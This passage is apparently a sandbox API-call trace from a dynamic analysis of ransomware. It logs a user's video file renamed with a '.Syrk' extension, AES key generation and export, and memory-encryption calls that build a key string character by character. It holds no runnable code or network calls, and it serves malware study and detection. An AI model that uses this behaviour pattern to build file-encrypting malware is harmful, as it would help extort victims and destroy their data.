"c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi.syrk")) returned 0x20 [0257.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0257.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", lpFilePart=0x0) returned 0x2e [0257.056] EtwEventActivityIdControl () returned 0x0 [0257.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.057] EtwEventActivityIdControl () returned 0x0 [0257.057] EtwEventActivityIdControl () returned 0x0 [0257.057] EtwEventActivityIdControl () returned 0x0 [0257.061] EtwEventActivityIdControl () returned 0x0 [0257.061] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.062] EtwEventActivityIdControl () returned 0x0 [0257.062] EtwEventActivityIdControl () returned 0x0 [0257.062] EtwEventActivityIdControl () returned 0x0 [0257.067] EtwEventActivityIdControl () returned 0x0 [0257.067] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.068] EtwEventActivityIdControl () returned 0x0 [0257.068] EtwEventActivityIdControl () returned 0x0 [0257.068] EtwEventActivityIdControl () returned 0x0 [0257.073] EtwEventActivityIdControl () returned 0x0 [0257.073] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.073] EtwEventActivityIdControl () returned 0x0 [0257.073] EtwEventActivityIdControl () returned 0x0 [0257.073] EtwEventActivityIdControl () returned 0x0 [0257.080] EtwEventActivityIdControl () returned 0x0 [0257.080] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.080] EtwEventActivityIdControl () returned 0x0 [0257.080] EtwEventActivityIdControl () returned 0x0 [0257.081] EtwEventActivityIdControl () returned 0x0 [0257.085] EtwEventActivityIdControl () returned 0x0 [0257.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0257.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24108a8 | out: lpFileInformation=0x24108a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14b86e50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x14b86e50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14c1f3d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x10124)) returned 1 [0257.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0257.090] GetConsoleOutputCP () returned 0x1b5 [0257.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.091] GetConsoleOutputCP () returned 0x1b5 [0257.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.091] GetConsoleOutputCP () returned 0x1b5 [0257.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.091] GetConsoleOutputCP () returned 0x1b5 [0257.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.091] GetConsoleOutputCP () returned 0x1b5 [0257.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.092] GetConsoleOutputCP () returned 0x1b5 [0257.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.092] GetConsoleOutputCP () returned 0x1b5 [0257.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.092] GetConsoleOutputCP () returned 0x1b5 [0257.092] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.092] GetConsoleOutputCP () returned 0x1b5 [0257.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.093] GetConsoleOutputCP () returned 0x1b5 [0257.093] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.093] GetConsoleOutputCP () returned 0x1b5 [0257.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.094] GetConsoleOutputCP () returned 0x1b5 [0257.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.094] GetConsoleOutputCP () returned 0x1b5 [0257.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.094] GetConsoleOutputCP () returned 0x1b5 [0257.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.094] GetConsoleOutputCP () returned 0x1b5 [0257.094] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.095] GetConsoleOutputCP () returned 0x1b5 [0257.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0257.095] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.096] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x242a4e4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x242a4e4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0257.096] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.096] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0257.097] EtwEventActivityIdControl () returned 0x0 [0257.097] EtwEventActivityIdControl () returned 0x0 [0257.097] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.098] EtwEventActivityIdControl () returned 0x0 [0257.098] EtwEventActivityIdControl () returned 0x0 [0257.098] EtwEventActivityIdControl () returned 0x0 [0257.100] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.101] EtwEventActivityIdControl () returned 0x0 [0257.101] EtwEventActivityIdControl () returned 0x0 [0257.101] EtwEventActivityIdControl () returned 0x0 [0257.103] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0257.104] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99920) returned 1 [0257.104] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.104] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.105] CryptExportKey (in: hKey=0x5c99920, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2431ebc, pdwDataLen=0x5a2e8c4 | out: pbData=0x2431ebc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.105] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.105] EtwEventActivityIdControl () returned 0x0 [0257.105] EtwEventActivityIdControl () returned 0x0 [0257.105] EtwEventActivityIdControl () returned 0x0 [0257.106] SysStringLen (param_1="") returned 0x8 [0257.106] SysStringLen (param_1="v") returned 0x8 [0257.106] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.106] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0257.107] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0257.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.107] SysStringLen (param_1="vF") returned 0x8 [0257.107] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.107] SysStringLen (param_1="ꙃ눾픔ᵜල갓숻") returned 0x8 [0257.107] SysStringLen (param_1="ꙃ눾픔ᵜල갓숻") returned 0x8 [0257.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.107] SysStringLen (param_1="vFx") returned 0x8 [0257.107] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.107] SysStringLen (param_1="盺쉜㌽鞔쭰夤㔄ⱚ") returned 0x8 [0257.107] SysStringLen (param_1="盺쉜㌽鞔쭰夤㔄ⱚ") returned 0x8 [0257.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.107] SysStringLen (param_1="vFxJ") returned 0x8 [0257.107] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.108] SysStringLen (param_1="⩰輅頟챸歮ڈ쌍垗") returned 0x8 [0257.108] SysStringLen (param_1="⩰輅頟챸歮ڈ쌍垗") returned 0x8 [0257.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.108] SysStringLen (param_1="vFxJx") returned 0x8 [0257.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.108] SysStringLen (param_1="ᩖ\䛛䎷ꚏv㑜⊬) returned 0x8 [0257.108] SysStringLen (param_1="ᩖ\䛛䎷ꚏv㑜⊬) returned 0x8 [0257.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.108] SysStringLen (param_1="vFxJxd") returned 0x8 [0257.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.108] SysStringLen (param_1="脁셟嵙Ὥ岁ป혒") returned 0x8 [0257.108] SysStringLen (param_1="脁셟嵙Ὥ岁ป혒") returned 0x8 [0257.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.109] SysStringLen (param_1="vFxJxdI") returned 0x8 [0257.109] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.109] SysStringLen (param_1="ⱪ섊툒뛛ሐ旖") returned 0x8 [0257.110] SysStringLen (param_1="ⱪ섊툒뛛ሐ旖") returned 0x8 [0257.110] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.110] SysStringLen (param_1="vFxJxdIl") returned 0x8 [0257.110] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.111] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏") returned 0x8 [0257.111] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏") returned 0x8 [0257.111] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏") returned 0x8 [0257.112] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏") returned 0x10 [0257.112] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.112] SysStringLen (param_1="vFxJxdIlXꔪ禋烟燢壷袮૴") returned 0x10 [0257.112] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.112] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏ꐂ䦡䰲➝⵻ᒳꓹ顪") returned 0x10 [0257.112] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏ꐂ䦡䰲➝⵻ᒳꓹ顪") returned 0x10 [0257.112] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.112] SysStringLen (param_1="vFxJxdIlX7禋烟燢壷袮૴") returned 0x10 [0257.112] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.112] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏촭㪕颲￲햾Ҕ榉珔") returned 0x10 [0257.112] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏촭㪕颲￲햾Ҕ榉珔") returned 0x10 [0257.112] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="vFxJxdIlX7a烟燢壷袮૴") returned 0x10 [0257.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏镭ꭚᴅ竌\⧝ᩍ㒌∷) returned 0x10 [0257.113] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏镭ꭚᴅ竌\⧝ᩍ㒌∷) returned 0x10 [0257.113] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="vFxJxdIlX7a7燢壷袮૴") returned 0x10 [0257.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏씪፽﫶湔绋厓ꨔ䌫") returned 0x10 [0257.113] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏씪፽﫶湔绋厓ꨔ䌫") returned 0x10 [0257.113] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="vFxJxdIlX7a7T壷袮૴") returned 0x10 [0257.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.113] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏纋孚菾ﴱ瓭杏Ꭰ✪") returned 0x10 [0257.114] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏纋孚菾ﴱ瓭杏Ꭰ✪") returned 0x10 [0257.114] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.114] SysStringLen (param_1="vFxJxdIlX7a7T/袮૴") returned 0x10 [0257.114] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.114] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⒭⸮兵ႅ蘈軶캤") returned 0x10 [0257.114] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⒭⸮兵ႅ蘈軶캤") returned 0x10 [0257.114] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.114] SysStringLen (param_1="vFxJxdIlX7a7T/Y૴") returned 0x10 [0257.114] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.114] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏䖟돱ẅ攻ೇ맃⁅ゅ") returned 0x10 [0257.114] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏䖟돱ẅ攻ೇ맃⁅ゅ") returned 0x10 [0257.114] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.114] SysStringLen (param_1="vFxJxdIlX7a7T/Yr") returned 0x10 [0257.114] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.115] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷") returned 0x10 [0257.115] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷") returned 0x10 [0257.115] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷") returned 0x10 [0257.115] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷") returned 0x18 [0257.115] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.115] SysStringLen (param_1="vFxJxdIlX7a7T/YrNᡯ䯛㞯뗂鍴뜤뿌") returned 0x18 [0257.115] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷쟴灱שּׁꧽ鏲놣") returned 0x18 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷쟴灱שּׁꧽ鏲놣") returned 0x18 [0257.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.116] SysStringLen (param_1="vFxJxdIlX7a7T/YrNr䯛㞯뗂鍴뜤뿌") returned 0x18 [0257.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷矵蚚㨸銜릨㜃㽌꺧") returned 0x18 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷矵蚚㨸銜릨㜃㽌꺧") returned 0x18 [0257.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.116] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrG㞯뗂鍴뜤뿌") returned 0x18 [0257.116] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷㜰튇a贓厖⾶㒃⦥") returned 0x18 [0257.116] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷㜰튇a贓厖⾶㒃⦥") returned 0x18 [0257.116] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGc뗂鍴뜤뿌") returned 0x18 [0257.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷䛰䗟ꃶ㈏ꞃ饿") returned 0x18 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷䛰䗟ꃶ㈏ꞃ饿") returned 0x18 [0257.117] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcf鍴뜤뿌") returned 0x18 [0257.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷ढ濅兾\䃝쏿财⋃) returned 0x18 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷ढ濅兾\䃝쏿财⋃) returned 0x18 [0257.117] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfS뜤뿌") returned 0x18 [0257.117] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷妜嵱썑非ꕍ즱䦒") returned 0x18 [0257.117] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷妜嵱썑非ꕍ즱䦒") returned 0x18 [0257.118] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.118] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfSh뿌") returned 0x18 [0257.118] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.118] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷ﻺ鼰憵呪頝ꣿᭋ") returned 0x18 [0257.118] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷ﻺ鼰憵呪頝ꣿᭋ") returned 0x18 [0257.118] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.118] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShw") returned 0x18 [0257.118] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.118] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈") returned 0x18 [0257.118] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈") returned 0x18 [0257.118] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈") returned 0x18 [0257.119] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈") returned 0x20 [0257.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.119] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwI춀ː徶劷䙳") returned 0x20 [0257.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.119] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈᱆ᕯ슇\৛線㿘⊤) returned 0x20 [0257.119] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈᱆ᕯ슇\৛線㿘⊤) returned 0x20 [0257.119] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.119] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgː徶劷䙳") returned 0x20 [0257.119] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ুԈ\⧜暥≭) returned 0x20 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ুԈ\⧜暥≭) returned 0x20 [0257.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.120] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgt徶劷䙳") returned 0x20 [0257.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈㻰獿Ꮕ錦큒礖畱") returned 0x20 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈㻰獿Ꮕ錦큒礖畱") returned 0x20 [0257.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.120] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtE徶劷䙳") returned 0x20 [0257.120] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈촑ؓ㕖゠몁庂봗ῇ") returned 0x20 [0257.120] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈촑ؓ㕖゠몁庂봗ῇ") returned 0x20 [0257.120] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] 